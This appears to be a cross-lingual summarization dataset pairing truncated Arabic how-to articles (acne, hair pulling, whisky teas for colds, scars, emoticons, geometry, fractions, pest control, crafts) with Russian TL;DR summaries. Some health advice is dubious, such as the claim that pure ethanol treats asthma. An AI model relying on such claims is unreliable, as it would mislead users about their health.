إذا عانيت من ظهور آخر للبثور. المنتجعات التي تقدّم خدمات العناية بالوجه خاصًة لإزالة حب الشباب قد تقدّم أيضًا تفريغ البثور، وهذا الخيار أفضل من فعل ذلك بنفسك بالتأكيد. لكن قد تحتاج إلى أن تسأل أخصائي التجميل عن نوع المنتجات التي يستخدمها على بشرتك أثناء علاج الوجه لتتأكد أنها لن تسد مسامك مجددًا! يجب أن يتم التقشير الكيميائي بواسطة متخصص مُدرّب. سيستخدم هذا المتخصص محلول عالي التركيز من مادة مثل حمض الساليسيليك أو حمض الجليكوليك أو حمض ثلاثي كلور الخليك (TCA) لإزالة الطبقة الخارجية لبشرة وجهك (أو أي مكان آخر في جسمك تعاني فيه من مشاكل). إزالة هذه الطبقاء من البشرة يساعد على التخلص من الزيوت الزائدة وخلايا البشرة الميتة لمساعدة مسامك على...

TL;DR in Russian:

Посоветуйтесь с дерматологом насчет средств для местного применения. Узнайте у дерматолога насчет антибиотиков для перорального приема. Узнайте об экстракции угрей. Подумайте о возможности химического пилинга. Сделайте инъекцию кортизона. Узнайте о световой терапии. Обсудите с дерматологом возможность перорального приема ретиноидов.


نتف الشعر عادة ما يكون نتيجة لعملية رفضك لتقبل حقيقة المشاعر السلبية أو غير المريحة التي تمر بها.  استخدم أساليب الاسترخاء العقلي لمساعدتك على أن تكون أكثر تقبلًا لهذه المشاعر، بوصفها جزء طبيعي من التجربة الإنسانية. لا يجب بالضرورة أن يتم تجاهلها. عندما تخف حدة الرغبة الملحة لتجنب المشاعر السلبية، فإن حافز نتف الشعر سوف يقل بدوره.  من أجل القيام بتمارين تصفية الذهن، اجلس في مكان هادئ ومريح وخذ أنفاس عميقة؛ ابدأ بالشهيق لمدة أربع عدات ثم أمسك أنفاسك لمدة أربع عدات ثم أخرج الهواء في الزفير لمدة أربع عدات. مع استمرارك في التنفس بهذا الأسلوب، سوف تهيم أفكارك بداخل عقلك. قم بالاعتراف بهذه الأفكار، بدون إصدار أي أحكام خاصة بها، ثم اجعلها تنصرف بهدوء. أعد تركيزك دومًا إلى عملية التنفس نفسها. يعاني العديد من الأفراد المتأثرين بهذا الاضطراب كذلك من انخفاض احترام الذات وضعف الثقة في النفس. من أجل بناء قدرتك على تقبل نفسك وشعورك بالثقة، عليك أن تستخدم أسلوب علاج التقبل والمسؤولية، وهو نهج علاجي وطبي سوف يساعدك على بلورة قيمك الشخصية، والتركيز على أهداف حياتك. بناء الثقة في النفس أحد الأمور بالغة الأهمية من أجل التعافي من هذا الاضطراب. تذكر أنك شخص رائع ومميز. أنت جدير بالحب وحياتك لا تقدر بثمن؛ لا يهم أيًا كان ما يخبرك به الآخرون، فعليك أن تشعر بالحب تجاه نفسك. الأفكار السلبية عن نفسك قادرة على تفريغ شعورك بالثقة في نفسك بسرعة هائلة، وقد تحفزك للقيام بعملية نتف الشعر. ملاحظات انتقاد النفس، والخوف من الفشل، وأساليب التفكير السلبية الأخرى تجعلك تشعر كما لو أنك غير جيد بشكل كافي. ابدأ العمل على تغيير هذه العادات العقلية من أجل بدء بناء وزيادة ثقتك في نفسك. فيما يلي بعض الأمثلة عن كيفية البدء في تغيير طريقة تفكيرك في نفسك:   لنفترض أنك لديك فكرة، مثل: "أنا لا أجد أي شيء مثير للانتباه يمكنني قوله، لذلك أنا أفهم السبب الذي يجعل الآخرون يعتبرونني مثيرًا للشفقة." عليك أن تمسك بهذه النوعية من الأفكار غير الطيبة وتبذل مجهودًا واعيًا بهدف تغييرها عن طريق التصحيح الدائم لنفسك. أخبر نفسك: "في بعض الأحيان لا أجد ما يمكنني قوله، وهذا أمر طبيعي. أنا لست مضطرًا أن أكون وسيلة امتاع للآخرين بما أقوله، أو تحمل مسئولية المحادثة بشكل كامل." اهتمي باستبدال الأفكار الانتقادية بالأفكار الإيجابية والإنتاجية. فيما يلي مثال للأفكار الانتقادية: "لا...

TL;DR in Russian:

Живите настоящим моментом. Развивайте чувство собственного достоинства и повышайте самооценку. Замените негативные мысли на положительные. Запишите свои достижения и сильные стороны. Работайте вместе с другими людьми, общайтесь напористо.


نجد أيضًا من أنواع المشاريب الكحولية الساخنة أنواع بطعم الشاي. ابدأ بعمل الخليط بغلي 240 ملليلتر من الماء ووضع ربع ملعقة صغيرة من الزنجبيل المطحون وثلاثة قرنفلات كاملة وعود قرفة وظرفي شاي أخضر أو أحمر واتركها تغلي لخمس دقائق ثم أخرج أكياس الشاي من السائل.   أعد تسخين الشاي لمدة دقيقة في الميكروويف ثم أضف عليه بعد ذلك عدد 2 ملعقة كبيرة من العسل وملعقة كبيرة أخرى من عصير الليمون. صب من 30 إلى 60 ملليلتر من الويسكي على الكوب وقلب كل شيء بملعقة وتناول الخليط دافئًا. هناك خليط لذيذ وساخن من الشاي العشبي مع الخمر يساعد على علاج أعراض البرد. تناول عبوة من الشاي العشبي بطعم التوت على 180 ملليلتر من المياه المغلية في مدة من دقيقتين إلى ثلاثة. أزل بعدها عبوة الشاي وضع 45 ملليلتر من الخمر الأبيض ونصف ملعقة كبيرة من عصير الليمون وملعقة صغيرة من العسل. قلب كل هذا الخليط معًا مزينًا إياه بعصير الليمون (او قشر الليمون). يعرف شاي الويسكي بأنه مشروب لذيذ يحتوي على الشاي العادي مع قليل من الويسكي. للبدء في إعداده قم بخلط 16 قرنفلة مطحونة مع ملعقة زنجبيل صغيرة وثمانية أعواد من الهيل (بدون البذور)، عليهم 20 حبة من الفلفل الأسود المطحون وحزمة جوز طيب وعودي قرفة مطحونين. قم بوضع لتر من اللبن كامل الدسم على نار هادئة وقلب في قدر متوسطة مع التوابل ودع الكونات تمتزج لعشر دقائق.   قم بتصفية المخلوط بعد عشر دقائق ثم أعده إلى القدر. قلب الخليط في 89 ملليلتر من الويكسي. تفضل الآن وتناول شاي الويسكي الساخن.

TL;DR in Russian:

Заварите горячий чай. Приготовьте ягодный ромовый чай. Попробуйте чай с молоком, специями и виски.


نحن لا نستبدل الأدوية الحديثة أو الراحة التامة بشرب الكحول لعلاج البرد، فشربه كثيرًا يمكن أن يتسبب في تدمير كبدك على المدى الطويل، بل ومن الممكن أن يتسبب في زيادة أعراض البرد كالاحتقان والتهاب الحلق وأكثر من ذلك. نستعمل فقط مثل تلك الأدوية الطبيعية من حين لآخر. يتسبب شرب الكثير من الكحول بإضعاف الجهاز المناعي وبالتالي سهولة إصابة الشخص بالأمراض. يضعف أيضًا جهازك المناعي عندما تكون مريضًا، وبالتالي فشرب الكحول أثناء المرض من المحتمل أن يصعّب رحلتك للشفاء. يجب أن تزود جسمك بالكمية الكافية له من المياه طوال الوقت عند المرض من خلال شرب الكثير من السوائل، حيث تساعدك على تحسين حالة التهاب الحلق والاحتقان. هناك بعض السوائل كالكحول والكافيين تتسبب في الجفاف وبالتالي تسوء من حالة التهاب الحلق والاحتقان وحتى الكحة، فلابد من تعويض ما يفقده جسمك من السوائل إذا استخدمت الكحول لعلاج البرد. تتداخل بعض الأدوية المستخدمة في علاج البرد بشكل سلبي مع الكحول، فيمكن أن يتسبب تناولها مع الكحول بالدوخة والنعاس وحتى الإغماء والصداع النصفي والغثيان والتقيؤ. تحقق من نشرة الدواء وتأكد من تناوله قبل شرب أي كحوليات وتحقق من قسم التحذيرات في النشرة الدوائية جيدًا. إليك عدة أدوية شائعة للبرد لا يجب أن يتزامن تناولها مع الكحول:   الأسبرين الأسيتامينوفين (تايلينول) الإيبروبروفين (مورتين وأدفيل) نابروكسين (أليف) أدوية شراب لتهدئة السعال (روبيتوسين كوف، روبيتوسين إيه – سي) أزيثروميسين (أزوماكس وزيثيروماكس) يمكن للإصابة بالبرد أن تثير من أزمة الربو عند مرضى الربو، فقد وجدت دراسة أن هنالك بعض المكونات في الكحول من شانها أن تزيد من حالة الجهاز التنفسي سوءًا. حاول استخدام علاجات برد شائعة أخرى لا تحتوي على الكحول لضمانة سلامتك كليةً.  يستخدم الإيثانول النقي كاستثناء كأحد العلاجات المستخدمة لعلاج الربو.

TL;DR in Russian:

Пейте в разумных количествах. Имейте в виду, что алкоголь может ослабить иммунную систему. Помните о том, что алкоголь может вызвать обезвоживание. Проверьте совместимость лекарства с алкоголем. Не употребляйте алкогольные напитки для лечения простуды, если у вас бронхиальная астма.


ندبات الشعر الجديدة غالبًا ما يكون لها شكل محمر والذي يرجع سببه إلى الالتهاب. يمكن أن تقلل كريمات الكورتيزون من احمرار ندبة الشعر الجديدة عن طريق تقليل الالتهاب. تستطيع شراء كريمات الكورتيزون بدون وصفة طبية.  تأكد من قراءة واتباع تعليمات العبوة عند الاستخدام. ارجع إلى طبيب الأمراض الجلدية إذا كنت غير متأكد من الكمية أو عدد المرات التي يجب اتباعها. لا تستخدم كريم الكورتيزون على الجلد المتشقق أو المجروح. تأكد من أن الشعر المنغرز قد شفى تمامًا قبل استخدام كريم الكورتيزون. ينمو الشعر تحت الجلد في أغلب الأحيان بسبب الحلاقة. تأكد من استخدام المواد المزلّقة عند الحلاقة. يُشار إلى هذه الندبات باسم "مطبات الحلاقة". يمكن أن تتسبب ندوب الشعر المنغرز في ظهور ندبة داكنة اللون والتي تساعد كريمات التفتيح في تقليل غمقانها. تحدث إلى طبيبك قبل البدء في استخدام كريم تفتيح واشترِ فقط الكريمات التي تحتوي على عوامل تفتيح طبيعية. تجنب المنتجات التي تحتوي على الهيدروكينون لأن هذه المنتجات لها تأثير مسرطن ويمكن أيضًا أن تتسبب التهيج لبشرتك. ابحث عن كريم تفتيح يحتوي على أحد المكونات التالية:  حمض الكوجيك (يشتق من الفطر) الأربوتين (يشار إليه أحيانًا بمستخلص توت العليق) فيتامين (ج) يؤدي حك الندوب (أو شد الشعر المنغرز) إلى التهيج والعدوى وزيادة خطر حدوث الندبات الدائمة. لتقليل هذه المخاطر، لا تفقع الندبات أو تشد الشعر المنغرز، بل اتركه يشفى من تلقاء نفسه. إذا كنت منزعجًا من مظهر الندبات أو مظهر الشعر المنغرز تحت الجلد، حدد موعدًا لرؤية طبيب الأمراض الجلدية. راجع أيضًا هذا المقال عن كيفية إزالة الشعر من تحت الجلد. إن التعرض للشمس أكثر من اللازم قد يتسبب في ظهور ندوب أكثر قتامة ويمكن أن يؤدي أيضًا إلى إبطاء عملية الشفاء، لذلك حاول ألا تقضي الكثير من الوقت في الشمس. إذا كان لابد أن تكون بالخارج، احمِ بشرتك باستخدام كريم واقِ من الشمس بمعامل حماية 30 وارتداء قبعة واسعة الحواف. تكون أشعة الشمس قوية ما بين الساعة 10 صباحًا و4 مساءً. حاول عدم الخروج خلال هذه الساعات.

TL;DR in Russian:

Нанесите крем с кортизоном на красные шрамы, вызванные вросшими волосами. Попробуйте натуральный осветляющий крем. Не трогайте шрамы и вросшие волосы. Не находитесь долго на солнце и всегда наносите солнцезащитный крем.


نشأت الإمونتيكونات الشرقية في جنوب شرق آسيا، وتكتب مواجهة للأمام بعكس الطريقة الأفقية التي تكتب بها الرموز الانفعالية الغربية. يركز هنا أكثر على العيون، والتي ستستخدم للتعبير عن العاطفة.   تستخدم كثير من الرموز الانفعالية الشرقية حروفًا غير لاتينية. يعطي هذا للكاتب عددًا أكبر من التصميمات التي يمكن أن يصنع، ولكن قد لا تستطيع بعض الحواسيب إظهار كل الحروف بطريقة صحيحة. تحاط كثير من الرموز الانفعالية الشرقية ب( ) والذي يوضح الحد الخارجي للرأس أو الجسد، ولكن يرجع إليك أمر إضافتها. تكون بعض الرموز الانفعالية أفضل بها أو من دونها. يوجد في نظامي "ويندوز" و"أو إس إكس" خرائط حروف (عارض الحروف في "أو إس إكس") تمَكنك من البحث خلال كل الخطوط الموجودة على النظام لتجد الحروف المطلوبة. استخدم هذا لإيجاد الحروف التي ستصنع بها رموزك الانفعالية، ولكن تذكر أن الشخص الآخر لن يستطيع رؤية هذه الحروف إلا إذا كان نفس الخط موجودًا على نظامه.    ويندوز: اضغط على ⊞ Win+R واكتب charmap لفتح خريطة الحروف. استخدم القائمة الموجودة بالأعلى للانتقال بين الخطوط. ابحث عن خط اسمه "Code2000" (كود 2000) وحمله لتستطيع الوصول لكل الرموز الشرقية تقريبًا. اضغط هنا للحصول على معلومات عن كيفية تثبيت الخطوط.   ماك: اضغط على قائمة آبل (التفاحة) واختر "إعدادات النظام". اضغط على "لوحة المفاتيح" واختر تبويب "لوحة المفاتيح" وعلم على "أظهر لوحة المفاتيح وعارض الحروف في شريط القائمة". اضغط على الأيقونة الجديدة التي ستظهر جنب الساعة واختر "أظهر عارض الحروف". يأتي "أو إس إكس" بكل الخطوط التي ستحتاج لصناعة معظم الرموز الانفعالية الشرقية.      الشخصية/الشيء    الرمز الانفعالي    الشرطي الآلي    ([(    انسان آلي    [:]    الفأر ميكي    °o°    بابا نويل  :-)    هومر سيمسون    ~(_8(I)    مارج سيمسون    @@@@@:^)    بارت سيمسون    ∑:-)    وردة    @>-->--    سمكة    <*)))-    البابا    +<:-)    ليني    ( ͡° ͜ʖ ͡°)    متزلج على اللوح    o[-<]:    سهم    <------K    سيف    1=<========[===]    العم سام    1==):-)    ويلما فلنستون    &:-)    كلب    :o3     *يمكن كتابة الرموز الانفعالية الشرقية بعلامة( ) والتي تمثل الوجه أو من دونها.

TL;DR in Russian:

Знайте, как вводить восточные смайлики.  Подумайте о том, чтобы включить в смайлик тело.  Используйте таблицу символов, чтобы найти символ.


نصف القطر هو القطر مقسومًا على اثنين، لذا استخدم المعادلة r=D/2 وهي مطابقة للطريقة المتبعة لحساب نصف قطر الدائرة من قطرها.  جد نصف قطر كرة قطرها 16 سم بقسمة 16/2 للحصول على 8 سم، وإذا كان القطر 42 سم فنصف القطر هو 21. استخدم المعادلة  C/2π لأن المحيط يساوي πD والذي يساوي 2πr. ستعطيك قسمة المحيط على 2π نصف القطر.  إذا كانت لديك كرة محيطها 20 سم فجد نصف القطر بقسمة 20/2π = 3.183 m . استخدم المعادلة نفسها للتحويل بين نصف القطر ومحيط الدائرة. استخدم المعادلة ((V/π)(3/4))1/3.  يشتق حجم الكرة من المعادلة V = (4/3)πr3، وسيعطيك حل المعادلة للحصول على متغير r ((V/π)(3/4))1/3 = r ما يعني أن نصف قطر الكرة يساوي حجمها مقسومًا على ط مضروبًا في 3/4 وجميعها مرفوعة للأس 1/3 (أو الجذر التكعيبي).  جد نصف القطر كما يلي إذا كانت لديك كرة حجمها 254 سم3:  ((V/π)(3/4))1/3 = r ((254/π)(3/4))1/3 = r ((80.85)(3/4))1/3 = r (60.6)1/3 = r  3.9 cm = r استخدم المعادلة  r = √(A/(4π)). تشتق مساحة سطح الكرة من المعادلة A = 4πr2. يعطينا حل المعادلة لإيجاد قيمة المتغير r √(A/(4π)) = r ما يعني أن نصف قطر الكرة يساوي الجذر التربيعي لمساحة السطح مقسومًا على 4 ط، كما يمكنك أخذ الأس 1/2 للجزء (A/(4π)) للحصول على نفس النتيجة.  إذا كانت لديك كرة مساحة سطحها 1200 سم2 فجد نصف القطر كما يلي:  √(A/(4π)) = r √(1200/(4π)) = r √(300/(π)) = r √(95.49) = r  9.77 cm = r

TL;DR in Russian:

Вычислите радиус по диаметру. Вычислите радиус по длине окружности. Вычислите радиус по объему шара. Вычислите радиус по площади поверхности.


نظرًا لأن العنق الداكن قد ينتج أحيانًا عن نقص النظافة الشخصية، يجب أن تستحمي بشكل منتظم، خاصةً إذا لاحظتِ ظهور بعض الأعراض. استخدمي الصابون المضاد للبكتيريا على جميع أجزاء جسمك بما في ذلك عنقك واشطفيه جيدًا لإزالة أي بقايا للصابون قبل الانتهاء من الاستحمام.  تأكدي من فرك جسمك بالصابون برفق لأن الفرك العنيف يسبب تدهور حال الأعراض. إذا لم يكن بإمكانك الاستحمام، حاولي مسح عنقك (وأجزاء جسمك الأخرى) بالمناديل المبللة الخاصة بالأطفال للحفاظ على نظافتك. بشكل عام، حاولي أن تستحمي مرة واحدة على الأقل كل عدة أيام. قد يكون العنق الداكن ناتجًا أيضًا عن فرط التعرض لأشعة الشمس. تأكدي من وضع الكريم الواقي من الشمس في كل مرة تخرجين فيها من المنزل لفترة طويلة من الوقت. استخدمي واقي شمس بمعامل حماية 35 على الأقل وضعيه على المناطق المكشوفة من بشرتك خاصةً عنقك. كرري وضع الواقي من الشمس كل ساعة أو أكثر (أو كرري ذلك أكثر إذا كنتِ تنوين السباحة). حاولي التقليل من تعرض عنقك إلى الشمس عن طريق اختيار الملابس وفقًا لذلك. جربي ارتداء القمصان ذات الياقة أو الأوشحة أو القبعات ذات الحافة الكبيرة كلما خرجتِ من المنزل لفترة طويلة. يمكنك أن تلفي وشاحًا حول عنقك أو أن تحملي مظلة لوقاية بشرتك من ضرر أشعة الشمس.

TL;DR in Russian:

Регулярно мойтесь антибактериальным мылом. Не выходите на улицу без солнцезащитного крема. Убедитесь, что шея защищена от солнечных лучей.


نظرًا لأنك بحاجة لتوحيد المقامات قبل جمع الكسور، ابحث عن المضاعفات المشتركة بينها، ثم اختر الأصغر. على سبيل المثال، بالنسبة للكسرين 9/5 + 14/7، فإن مضاعفات 5 هي (5 و 10 و 15 و 20 و 25 و 30 و 35)، بينما مضاعفات 7 هي (7 و 14 و 21 و 28 و 35). المضاعف المشترك الأصغر هو 35 إذًا. ستحتاج لضرب الكسر بأكمله لجعل المقام يصبح المضاعف المشترك الأصغر. على سبيل المثال، اضرب 9/5 في 7 للحصول على المقام 35، لكن لابد عند إجراء عملية حسابية على أحد جزئي الكسر أن تطبقها على الآخر؛ بالتالي نضرب البسط في 7، ويصير الكسر 63/35. تذكر أنك عندما تغير كسرًا في المسألة، يجب عليك أيضًا تعديل قيمة الكسور الأخرى لتكون مكافئة مع التغيير الجديد. على سبيل المثال، إذا حولت 9/5 إلى 63/35، اضرب الكسر الآخر 14/7 في 5 لتكون النتيجة 70/35. سوف تتحول مسألتك الأصلية (9/5 + 14/7) إلى (63/35 + 70/35). بعد أن تكون جميع المقامات في مسألتك متماثلة، اجمع البسطين، وضع ناتج الجمع فوق المقام الموحد. على سبيل المثال، 63 + 70 = 133. ضع ناتج جمع البسطين على المقام الموحد ليصبح الناتج 133/35. إذا كانت إجابتك كسرًا مركبًا (بسطه أكبر من مقامه)، فحوله لكسر مختلط (عدد صحيح مع كسر). هذا التحويل يكون من خلال قسمة البسط على المقام لإيجاد عدد صحيح، ثم يوضع عدد الأجزاء المتبقية كبسط للكسر. بسّط الكسر إذا أمكن تحويله لصورة أبسط. على سبيل المثال، يمكن تبسيط 133/35 إلى 3 و28/35. يمكن تبسيط الكسر نفسه إلى 4/5 وبالتالي فإن الإجابة النهائية هي 3و4/5.

TL;DR in Russian:

Найдите наименьшее общее кратное Умножьте числитель и знаменатель первой дроби на соответствующее число, чтобы привести дроби к общему знаменателю. Умножьте числитель и знаменатель второй дроби на соответствующее число, чтобы привести дроби к общему знаменателю. Сложите числители, а знаменатели оставьте без изменений. Упростите или сократите полученную дробь (если нужно).


نظرًا لقابلية الدهان المرتكز على المياه للذوبان مع المياه، يصبح عادةً من السهل معالجته بالمياه أكثر من الدهان المرتكز على الزيت. لذلك يكون أول شيء عليك القيام به عندما يكون الدهان مرتكزًا على المياه أن تقوم بإضافة القليل من الماء الدافئ إلى المنطقة المتضررة. اغمس قطعة قماش في الماء الدافئ واضغط برفق على البقعة لترك نسيج الجينز يتشبع بالمياه. عند ترك الجينز يتشبع بالمياه، يجب أن يصبح جاهزًا للتنظيف الفعال. أضف ملعقة كبيرة من مسحوق الملابس إلى نصف كوب من المياه وقلبهم. عندما يختلطوا في محلول متناسق، ادعك الجينز ببعض الخليط بواسطة قماشة مبللة، ادعك البقة بحركات دائرية. إذا كانت البقعة كبيرة، قم بدعك محيط البقعة من الخارج ثم اتجه تدريجيًا إلى الداخل. سيقلل الدعك بتلك الطريقة من فرصة انتشار بقعة الدهان من حولها بسرعة. بينما قد يعمل المنظف الخفيف جيدًا، على الأغلب لن يتمكن من معالجة مشكلة البقعة كليًا. إذا كانت الحالة تبدو كذلك، ينبغي أن ينجح وضع الكحول المحمر الأيزوبروبيل على البقعة في إزالة الدهان من نسيج القماش. يعد مزيل طلاء الأظافر بديلًا تقليديًا للكحول المحمر لكن قد يتسبب في إتلاف القماش. إذا كنت قلقًا لما قد يترك البقعة تزداد سوءً، قم باختباره عن طريق فرك مزيل طلاء الأظافر على بقعة في جزء من الجينز لن يتم رؤيته بسهولة مثل الجزء الداخلي أو أسفل قدم البنطال. ستوفر شعيرات فرشاة الأسنان الكشط والدقة المتطلبة لمعالجة البقعة. عند وضع الكحول المحمر على البقعة، ينبغي أن تلاحظ نتيجة المجهود خلال دقائق من دعك البقعة بالفرشاة. استخدم المزيد من الكحول المحمر وقم بوضعها على البقعة إذا لم تحصل على النتيجة المرغوبة. عند انتهائك من عمل كل ذلك، من الأشياء الجيدة التالية التي عليك القيام بها هي إعطاء الجينز غسلة صحيحة في الغسالة. يكون الدهان المرتكز على المياه قابل للتنظيف في الغسالة ويجب أن يتم معالجة أي بقايا من الدهان بعد وضعه في دورة الغسيل. كما هو الحال دائمًا، تذكر غسل الملابس تبعًا لتعليمات الملصق الخاصة بهم. إذا ظلت هناك بعض البقع الملونة الملحوظة على بنطالك بالرغم من كل محاولات التنظيف، يمكنك تجربة إزالة اللون عن طريق شراء قلم خطاط الملابس من متجر الأقمشة والفنون. ابحث عن اللون الأقرب للون الجينز واغمسه فوق البقعة. في حين أن ذلك يتداول أساسًا بقعة مختلفة عن غيرها، إلا أن من الصعب ملاحظة ذلك بالعين المجردة إذا تم...

TL;DR in Russian:

Промойте загрязненный участок теплой водой. Обработайте пятно чистящим средством. Медицинский спирт. Используйте старую зубную щетку. Стирка. При необходимости закрасьте пятно маркером для ткани.


نظف أكوام العشب أو أوراق الشجر أو الحطب أو الغطاء العضوي الواقي أو السماد.   تجذب الأماكن المظلمة العناكب الذئبية التي تختبئ بهذه المناطق خلال النهار، لذا اجعل باحتك منفرة للعناكب الذئبية بتعريض أكبر قدر منها لضوء الشمس. نظف باحتك من أكبر قدر ممكن من الفوضى والركام. حتى أشياء بسيطة مثل آنية الزرع الفارغة والأحجار والشوايات يمكن أن تكون أماكن اختباء مظلمة تجذب العناكب الذئبية. أزل الشجيرات والأغطية النباتية الثقيلة الأخرى عن المبنى.   تحب العناكب الذئبية الاختباء في الأماكن المظلمة وتعتبر النباتات المنخفضة من أماكن الاختباء المفضلة لديها. أزل جميع الأغطية النباتية الثقيلة من الحديقة إن أمكنك. إن لم تستطع فعليك أن تنقل هذه النباتات بعيدًا عن محيط البيت إلى محيط الحديقة الخارجي على الأقل لإبعاد العناكب عن منزلك. احرص على غلق جميع الشقوق والفجوات التي تؤدي للداخل لمنع العناكب الذئبية من التسلل من خلالها.   استخدم العجينة العازلة لملء الفجوات والحفر والشقوق الموجودة بجانب الأساس أو بامتداد الجدار الخارجي. أضف الحواجز الوقائية إلى الأبواب والنوافذ لتقليل خطر تسلل العناكب داخل البيت من تحتها. قم بترقيع أسلاك النوافذ الممزقة أو استبدالها بالكامل. ثبت شبكة سلكية دقيقة على جميع فتحات التهوية المؤدية للخارج.  انتبه بشكل خاص لفتحات التهوية القاعدية. تستطيع العناكب الذئبية دخول بيتك عبر فتحات التهوية العلوية والمداخن لكنها أرضية في الأساس ويزداد احتمالات دخولها لبيتك من خلال فتحات التهوية والحظائر الموجودة بامتداد قاعدة البناية. تجذب الأضواء الموجودة خارج منزلك الذباب والعث والحشرات الأخرى ليلًا مما يوفر مصدر طعام جاذب للعناكب الذئبية.   أبق أضواءك مطفأة قدر الإمكان لتقليل عدد الحشرات المنجذبة لبيتك. أغلق الستائر لمنع تسرب الضوء الداخلي للخارج. انتقل لاستخدام مصابيح بخار الصوديوم بدلًا من الأضواء الخارجية العادية. تتسم هذه المصابيح بطيف أصفر ناعم وهو أقل جذبًا للحشرات. تعمل هذه الطريقة بشكل فعال مع العناكب الذئبية بشكل خاص. تصطاد العناكب الذئبية ليلًا لذا يقل وجودها بالجوار كلما قل الطعام المتاح ليلًا.

TL;DR in Russian:

Приведите свой сад в порядок. Уберите растения по периметру дома. Запломбируйте трещины и отверстия в наружней части стены. Установите защитные сетки от насекомых. Уберите или замените лампы наружного освещения.


نظف الفخ جيدًا بصابون خفيف أو بصابون صحون غير معطر لتتخلص من أي رائحة بشرية على الفخ. سيقترب الجرذ من الفخ عادة إذا لم يحمل رائحتك. وبناءً على ذلك، احمل الفخ وأنت ترتدي قفازات مطاطية لتتجنب نقل رائحتك إليه. ثبت الفخ حتى لا يهتز حينما يدخل الجرذ فيه. قد تفزع حركة الفخ واهتزازه الجرذ مما يتسبب في عدم دخوله القفص والقبض عليه. يمكنك تثبيت الفخ بوضع صخرة ثقيلة خلفه أو أن تضع بعض الصخور أعلاه. لن يقترب جرذان الأرض من فخ جديد لامع على الأرجح. ستحظى بفرصة أكبر في الإمساك بالجرذ إذا أخفيت الفخ عن طريق تغطيته ببعض النباتات أو غصون الأشجار أو أوراق الأشجار. يمكنك إخفاء الهيئة المعدنية للفخ بقطعة من الخيش النسيجي أو بعض القطع الخشبية حتى لا يبدو الفخ وكأنه فخ. بعثر بعض الخضراوات داخل المصيدة، مثل الجزر والخس والكرفس. اختر نوع الطعام بناءً على ما يعجب جرذان الأرض مما تزرعه في حديقتك أو منطقة زراعتك، بالطبع ستعرف ما يفضله الجرذ بسبب الأدلة التي تركها خلفه. يمكنك شراء منتج يدعى "جاذب السناجب"، حيث يجذب هذا المنتج جرذان الأرض أيضًا. انصبه بطريقة تبقيه مفتوحًا لمدة أيام قليلة، حتى يعتاد الجرذ على استخدامه ويشعر بالأمان في الدخول إليه حتى يتناول الطُعم. غير إعدادات الفخ بعد ثلاثة أيام تقريبًا حتى يُغلق الباب بعد دخول الجرذ القفص في المرة المقبلة. إذا كنت تستخدم الفخ الذي سيبقي الجرذ حيًا، فلا يعتبر تركك له في المصيدة دون ماء ومعرضًا للمخاطر الأخرى لفترة طويلة تصرفًا آدميًا. تأكد من إزالتك للجرذ من حديقتك خلال فترة قصيرة من الإمساك به.

TL;DR in Russian:

Вымойте ловушку. Закрепите ловушку. Замаскируйте ловушку. Положите в ловушку приманку. Сначала установите ловушку так, чтобы она не захлопывалась. Регулярно проверяйте ловушку.


نظف طاولة ثم ضع عليها ورق جرائد أو شيء من هذا القبيل حتى لا تتسخ الطاولة ثم ضع أدواتك. لعمل بطاقة عيد ميلاد ستحتاج إلى:   ورق مقوى من نوع كانسون أو فابريانو بأي لون يعجبك. بعض الأقلام للتلوين مثل أقلام اللوحات وألوان الشمع وألوان الخشب. صمغ. ملصقات. بإمكانك استخدام الطوابع أو الملصقات أو الصور أو بعض الصور من المجلات أو صور من بطاقات قديمة. اجلب قطعة من الورق المقوى واطوِها إلى أربعة أرباع.  اختر حجم البطاقة كبيرًا أو صغيرًا كما يحلو لك. بإمكانك كذلك استخدام ورقة من الورق المقوى بمقاس A4 ثم قُصّها عند المنتصف واطوِ أحد النصفين من المنتصف. إن كان لديك ظرفًا تريد وضع البطاقة فيه فاطوِ الورق حتى يمكنك إدخاله داخل الظرف، واترك مساحة حوالي نصف سنتيمتر من جميع الجوانب حتى تنزلق داخل الظرف بسهولة. حدد تصميم البطاقة وفقًا لشخصية الإنسان الذي ستهاديه البطاقة والخامات التي لديك، وضع في اعتبارك تزيين واجهة البطاقة وداخلها إن أردت تزيينها من الداخل، فربما أردت تزيين واجهة البطاقة بتصميم بسيط ثم اختر تصميمًا يليق بشخصية من ستهديه البطاقة ونفذه في البطاقة من الداخل.   فكر في قصيدة شعر أو أحجية. يمكنك اقتباس بيت شعر من قصيدة يحبها الشخص أو فكاهة مضحكة أو أحجية ظريفة. ارسم صورة يحبها الشخص الذي ستهديه البطاقة، كما بإمكانك أن تقص صورة الشخص نفسه وتلصقها على البطاقة، ثم ارسم فقاعة لتكتب داخلها جملة يتميز بها الشخص أو فكاهة. اجعل البطاقة قصة صغيرة وقسِّمها إلى مربعات صغيرة ترسم فيها عدة مشاهد صغيرة تؤلف قصة قصيرة. اختر مقولة أو جملة تعبِّر عن لحظة هامة مرت عليكما مثل أول مرة تقابلتما فيها أو شيئًا فعله في عيد ميلاده الماضي. حدد عناصر التزيين وفقًا لشخصية من ستهديه البطاقة.   إن كنت تصنع بطاقة من أجل عيد ميلاد والدك ووالدك يحب الصيد مثلًا، بإمكانك لصق صورة مطبوعة لصياد على واجهة البطاقة ثم الصق عصا خشبية صغيرة رفيعة والصق بها خيطًا وخطاف؛ بعد ذلك ارسم عند الخطاف سمكة كبيرة. تُعد الألوان الفاتحة ألوانًا مبهجة ومفعمة بالحياة، أما الألوان الداكنة فتُعد راقية وذات ذوق رفيع، لذلك إن كنت ستهادي طفلًا فقد تستخدم في البطاقة ألوانًا مبهجة وملصقات حيوانات، أما إن كان لشاب أو مراهق فاستخدم جملًا غريبة أو حماسية، أما إن كانت لشخص ناضج فاستخدم جملًا بسيطة وحكيمة. اكتب جملة "عيد ميلاد سعيد" بخط يدك أو على جهاز الكمبيوتر ثم اطبعها على ورق ملون...

TL;DR in Russian:

Соберите необходимые материалы. Создайте форму открытки. Выберите дизайн для открытки. Добавьте украшения, например наклейки, марки или кусочки ткани. Сделайте открытку с сюрпризом с добавлением необычных украшений.


